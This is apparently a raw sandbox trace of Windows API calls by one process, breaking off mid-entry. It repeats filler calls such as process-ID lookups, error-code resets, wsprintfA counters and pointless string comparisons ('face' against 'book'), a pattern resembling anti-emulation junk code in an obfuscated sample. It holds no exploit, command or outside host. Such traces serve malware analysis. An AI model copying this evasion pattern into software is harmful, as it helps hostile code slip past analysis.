[0031.617] GetCurrentProcess () returned 0xffffffff [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3B1P") returned 4 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3B2P") returned 4 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] lstrlenA (lpString="just string") returned 11 [0031.617] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.617] GetLastError () returned 0x57 [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3D0P") returned 4 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] lstrlenA (lpString="just string") returned 11 [0031.617] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.617] GetLastError () returned 0x57 [0031.617] GetLastError () returned 0x57 [0031.617] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcess () returned 0xffffffff [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="414P") returned 4 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetCurrentProcess () returned 0xffffffff [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="415P") returned 4 [0031.617] SetLastError (dwErrCode=0x57) [0031.617] GetCurrentProcessId () returned 0xb44 [0031.617] GetLastError () returned 0x57 [0031.617] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="416P") returned 4 [0031.618] SetLastError (dwErrCode=0x57) [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] lstrlenA (lpString="just string") returned 11 [0031.618] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.618] GetLastError () returned 0x57 [0031.618] GetLastError () returned 0x57 [0031.618] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="434P") returned 4 [0031.618] SetLastError (dwErrCode=0x57) [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] lstrlenA (lpString="just string") returned 11 [0031.618] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.618] GetLastError () returned 0x57 [0031.618] GetLastError () returned 0x57 [0031.618] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="466P") returned 4 [0031.618] SetLastError (dwErrCode=0x57) [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] lstrlenA (lpString="just string") returned 11 [0031.618] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.618] GetLastError () returned 0x57 [0031.618] GetLastError () returned 0x57 [0031.618] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="484P") returned 4 [0031.618] SetLastError (dwErrCode=0x57) [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] lstrlenA (lpString="just string") returned 11 [0031.618] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.618] GetLastError () returned 0x57 [0031.618] GetLastError () returned 0x57 [0031.618] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.618] SetLastError (dwErrCode=0x57) [0031.618] GetCurrentProcess () returned 0xffffffff [0031.618] GetLastError () returned 0x57 [0031.618] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="48CP") returned 4 [0031.618] SetLastError (dwErrCode=0x57) [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcess () returned 0xffffffff [0031.618] GetLastError () returned 0x57 [0031.618] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="48DP") returned 4 [0031.618] SetLastError (dwErrCode=0x57) [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetLastError () returned 0x57 [0031.618] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="48EP") returned 4 [0031.618] SetLastError (dwErrCode=0x57) [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] GetCurrentProcessId () returned 0xb44 [0031.618] lstrlenA (lpString="just string") returned 11 [0031.618] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.618] GetLastError () returned 0x57 [0031.618] GetLastError () returned 0x57 [0031.619] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.619] SetLastError (dwErrCode=0x57) [0031.619] GetCurrentProcess () returned 0xffffffff [0031.619] GetLastError () returned 0x57 [0031.619] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4BEP") returned 4 [0031.619] SetLastError (dwErrCode=0x57) [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcess () returned 0xffffffff [0031.619] GetLastError () returned 0x57 [0031.619] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4BFP") returned 4 [0031.619] SetLastError (dwErrCode=0x57) [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetLastError () returned 0x57 [0031.619] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4C0P") returned 4 [0031.619] SetLastError (dwErrCode=0x57) [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] lstrlenA (lpString="just string") returned 11 [0031.619] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.619] GetLastError () returned 0x57 [0031.619] GetLastError () returned 0x57 [0031.619] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4E8P") returned 4 [0031.619] SetLastError (dwErrCode=0x57) [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] lstrlenA (lpString="just string") returned 11 [0031.619] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.619] GetLastError () returned 0x57 [0031.619] GetLastError () returned 0x57 [0031.619] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4FCP") returned 4 [0031.619] SetLastError (dwErrCode=0x57) [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] lstrlenA (lpString="just string") returned 11 [0031.619] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.619] GetLastError () returned 0x57 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] lstrlenA (lpString="just string") returned 11 [0031.619] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.619] GetLastError () returned 0x57 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] lstrlenA (lpString="just string") returned 11 [0031.619] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.619] GetLastError () returned 0x57 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] GetCurrentProcessId () returned 0xb44 [0031.619] lstrlenA (lpString="just string") returned 11 [0031.619] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.619] GetLastError () returned 0x57 [0031.619] GetLastError () returned 0x57 [0031.619] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcess () returned 0xffffffff [0031.620] GetLastError () returned 0x57 [0031.620] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="5B8P") returned 4 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcess () returned 0xffffffff [0031.620] GetLastError () returned 0x57 [0031.620] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="5B9P") returned 4 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetLastError () returned 0x57 [0031.620] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="5BAP") returned 4 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] lstrlenA (lpString="just string") returned 11 [0031.620] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.620] GetLastError () returned 0x57 [0031.620] GetLastError () returned 0x57 [0031.620] GetLastError () returned 0x57 [0031.620] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcess () returned 0xffffffff [0031.620] GetLastError () returned 0x57 [0031.620] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="5E0P") returned 4 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcess () returned 0xffffffff [0031.620] GetLastError () returned 0x57 [0031.620] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="5E1P") returned 4 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetLastError () returned 0x57 [0031.620] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="5E2P") returned 4 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] lstrlenA (lpString="just string") returned 11 [0031.620] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.620] GetLastError () returned 0x57 [0031.620] GetCurrentProcess () returned 0xffffffff [0031.620] GetLastError () returned 0x57 [0031.620] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="5FFP") returned 4 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetLastError () returned 0x57 [0031.620] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="600P") returned 4 [0031.620] SetLastError (dwErrCode=0x57) [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] GetCurrentProcessId () returned 0xb44 [0031.620] lstrlenA (lpString="just string") returned 11 [0031.620] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.620] GetLastError () returned 0x57 [0031.620] GetLastError () returned 0x57 [0031.621] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcess () returned 0xffffffff [0031.621] GetLastError () returned 0x57 [0031.621] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="63AP") returned 4 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetCurrentProcess () returned 0xffffffff [0031.621] GetLastError () returned 0x57 [0031.621] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="63BP") returned 4 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetLastError () returned 0x57 [0031.621] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="63CP") returned 4 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] lstrlenA (lpString="just string") returned 11 [0031.621] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.621] GetLastError () returned 0x57 [0031.621] GetLastError () returned 0x57 [0031.621] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcess () returned 0xffffffff [0031.621] GetLastError () returned 0x57 [0031.621] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="64EP") returned 4 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetCurrentProcess () returned 0xffffffff [0031.621] GetLastError () returned 0x57 [0031.621] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="64FP") returned 4 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetLastError () returned 0x57 [0031.621] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="650P") returned 4 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] lstrlenA (lpString="just string") returned 11 [0031.621] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.621] GetLastError () returned 0x57 [0031.621] GetCurrentProcessId () returned 0xb44 [0031.621] lstrlenA (lpString="just string") returned 11 [0031.621] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.621] GetLastError () returned 0x57 [0031.621] lstrlenA (lpString="just string") returned 11 [0031.621] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.621] GetLastError () returned 0x57 [0031.621] GetLastError () returned 0x57 [0031.621] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.621] SetLastError (dwErrCode=0x57) [0031.621] GetCurrentProcess () returned 0xffffffff [0031.621] GetLastError () returned 0x57 [0031.621] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="702P") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcess () returned 0xffffffff [0031.622] GetLastError () returned 0x57 [0031.622] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="703P") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetLastError () returned 0x57 [0031.622] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="704P") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] lstrlenA (lpString="just string") returned 11 [0031.622] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.622] GetLastError () returned 0x57 [0031.622] GetLastError () returned 0x57 [0031.622] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcess () returned 0xffffffff [0031.622] GetLastError () returned 0x57 [0031.622] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="720P") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcess () returned 0xffffffff [0031.622] GetLastError () returned 0x57 [0031.622] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="721P") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetLastError () returned 0x57 [0031.622] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="722P") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] lstrlenA (lpString="just string") returned 11 [0031.622] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.622] GetLastError () returned 0x57 [0031.622] GetLastError () returned 0x57 [0031.622] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcess () returned 0xffffffff [0031.622] GetLastError () returned 0x57 [0031.622] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="73EP") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcess () returned 0xffffffff [0031.622] GetLastError () returned 0x57 [0031.622] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="73FP") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetLastError () returned 0x57 [0031.622] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="740P") returned 4 [0031.622] SetLastError (dwErrCode=0x57) [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.622] GetCurrentProcessId () returned 0xb44 [0031.623] lstrlenA (lpString="just string") returned 11 [0031.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.623] GetLastError () returned 0x57 [0031.623] GetLastError () returned 0x57 [0031.623] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="74AP") returned 4 [0031.623] SetLastError (dwErrCode=0x57) [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] lstrlenA (lpString="just string") returned 11 [0031.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.623] GetLastError () returned 0x57 [0031.623] GetCurrentProcess () returned 0xffffffff [0031.623] GetLastError () returned 0x57 [0031.623] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="75DP") returned 4 [0031.623] SetLastError (dwErrCode=0x57) [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetLastError () returned 0x57 [0031.623] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="75EP") returned 4 [0031.623] SetLastError (dwErrCode=0x57) [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] lstrlenA (lpString="just string") returned 11 [0031.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.623] GetLastError () returned 0x57 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] lstrlenA (lpString="just string") returned 11 [0031.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.623] GetLastError () returned 0x57 [0031.623] GetCurrentProcess () returned 0xffffffff [0031.623] GetLastError () returned 0x57 [0031.623] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="7A3P") returned 4 [0031.623] SetLastError (dwErrCode=0x57) [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetLastError () returned 0x57 [0031.623] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="7A4P") returned 4 [0031.623] SetLastError (dwErrCode=0x57) [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] lstrlenA (lpString="just string") returned 11 [0031.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.623] GetLastError () returned 0x57 [0031.623] lstrlenA (lpString="just string") returned 11 [0031.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.623] GetLastError () returned 0x57 [0031.623] lstrlenA (lpString="just string") returned 11 [0031.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.623] GetLastError () returned 0x57 [0031.623] GetCurrentProcessId () returned 0xb44 [0031.623] lstrlenA (lpString="just string") returned 11 [0031.623] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.623] GetLastError () returned 0x57 [0031.623] GetLastError () returned 0x57 [0031.623] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.623] SetLastError (dwErrCode=0x57) [0031.623] GetCurrentProcess () returned 0xffffffff [0031.624] GetLastError () returned 0x57 [0031.624] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="874P") returned 4 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcess () returned 0xffffffff [0031.624] GetLastError () returned 0x57 [0031.624] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="875P") returned 4 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetLastError () returned 0x57 [0031.624] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="876P") returned 4 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] lstrlenA (lpString="just string") returned 11 [0031.624] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.624] GetLastError () returned 0x57 [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] lstrlenA (lpString="just string") returned 11 [0031.624] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.624] GetLastError () returned 0x57 [0031.624] GetLastError () returned 0x57 [0031.624] GetLastError () returned 0x57 [0031.624] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcess () returned 0xffffffff [0031.624] GetLastError () returned 0x57 [0031.624] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="8B0P") returned 4 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcess () returned 0xffffffff [0031.624] GetLastError () returned 0x57 [0031.624] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="8B1P") returned 4 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetLastError () returned 0x57 [0031.624] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="8B2P") returned 4 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] lstrlenA (lpString="just string") returned 11 [0031.624] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.624] GetLastError () returned 0x57 [0031.624] GetLastError () returned 0x57 [0031.624] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcess () returned 0xffffffff [0031.624] GetLastError () returned 0x57 [0031.624] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="8F6P") returned 4 [0031.624] SetLastError (dwErrCode=0x57) [0031.624] GetCurrentProcessId () returned 0xb44 [0031.624] GetCurrentProcess () returned 0xffffffff [0031.624] GetLastError () returned 0x57 [0031.624] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="8F7P") returned 4 [0031.624] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetLastError () returned 0x57 [0031.625] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="8F8P") returned 4 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] lstrlenA (lpString="just string") returned 11 [0031.625] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.625] GetLastError () returned 0x57 [0031.625] GetCurrentProcess () returned 0xffffffff [0031.625] GetLastError () returned 0x57 [0031.625] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="901P") returned 4 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetLastError () returned 0x57 [0031.625] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="902P") returned 4 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] lstrlenA (lpString="just string") returned 11 [0031.625] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.625] GetLastError () returned 0x57 [0031.625] GetLastError () returned 0x57 [0031.625] GetLastError () returned 0x57 [0031.625] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcess () returned 0xffffffff [0031.625] GetLastError () returned 0x57 [0031.625] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="928P") returned 4 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcess () returned 0xffffffff [0031.625] GetLastError () returned 0x57 [0031.625] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="929P") returned 4 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetLastError () returned 0x57 [0031.625] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="92AP") returned 4 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] lstrlenA (lpString="just string") returned 11 [0031.625] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.625] GetLastError () returned 0x57 [0031.625] GetLastError () returned 0x57 [0031.625] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcess () returned 0xffffffff [0031.625] GetLastError () returned 0x57 [0031.625] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="950P") returned 4 [0031.625] SetLastError (dwErrCode=0x57) [0031.625] GetCurrentProcessId () returned 0xb44 [0031.625] GetCurrentProcess () returned 0xffffffff [0031.625] GetLastError () returned 0x57 [0031.626] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="951P") returned 4 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetLastError () returned 0x57 [0031.626] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="952P") returned 4 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] lstrlenA (lpString="just string") returned 11 [0031.626] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.626] GetLastError () returned 0x57 [0031.626] GetLastError () returned 0x57 [0031.626] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcess () returned 0xffffffff [0031.626] GetLastError () returned 0x57 [0031.626] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="996P") returned 4 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcess () returned 0xffffffff [0031.626] GetLastError () returned 0x57 [0031.626] 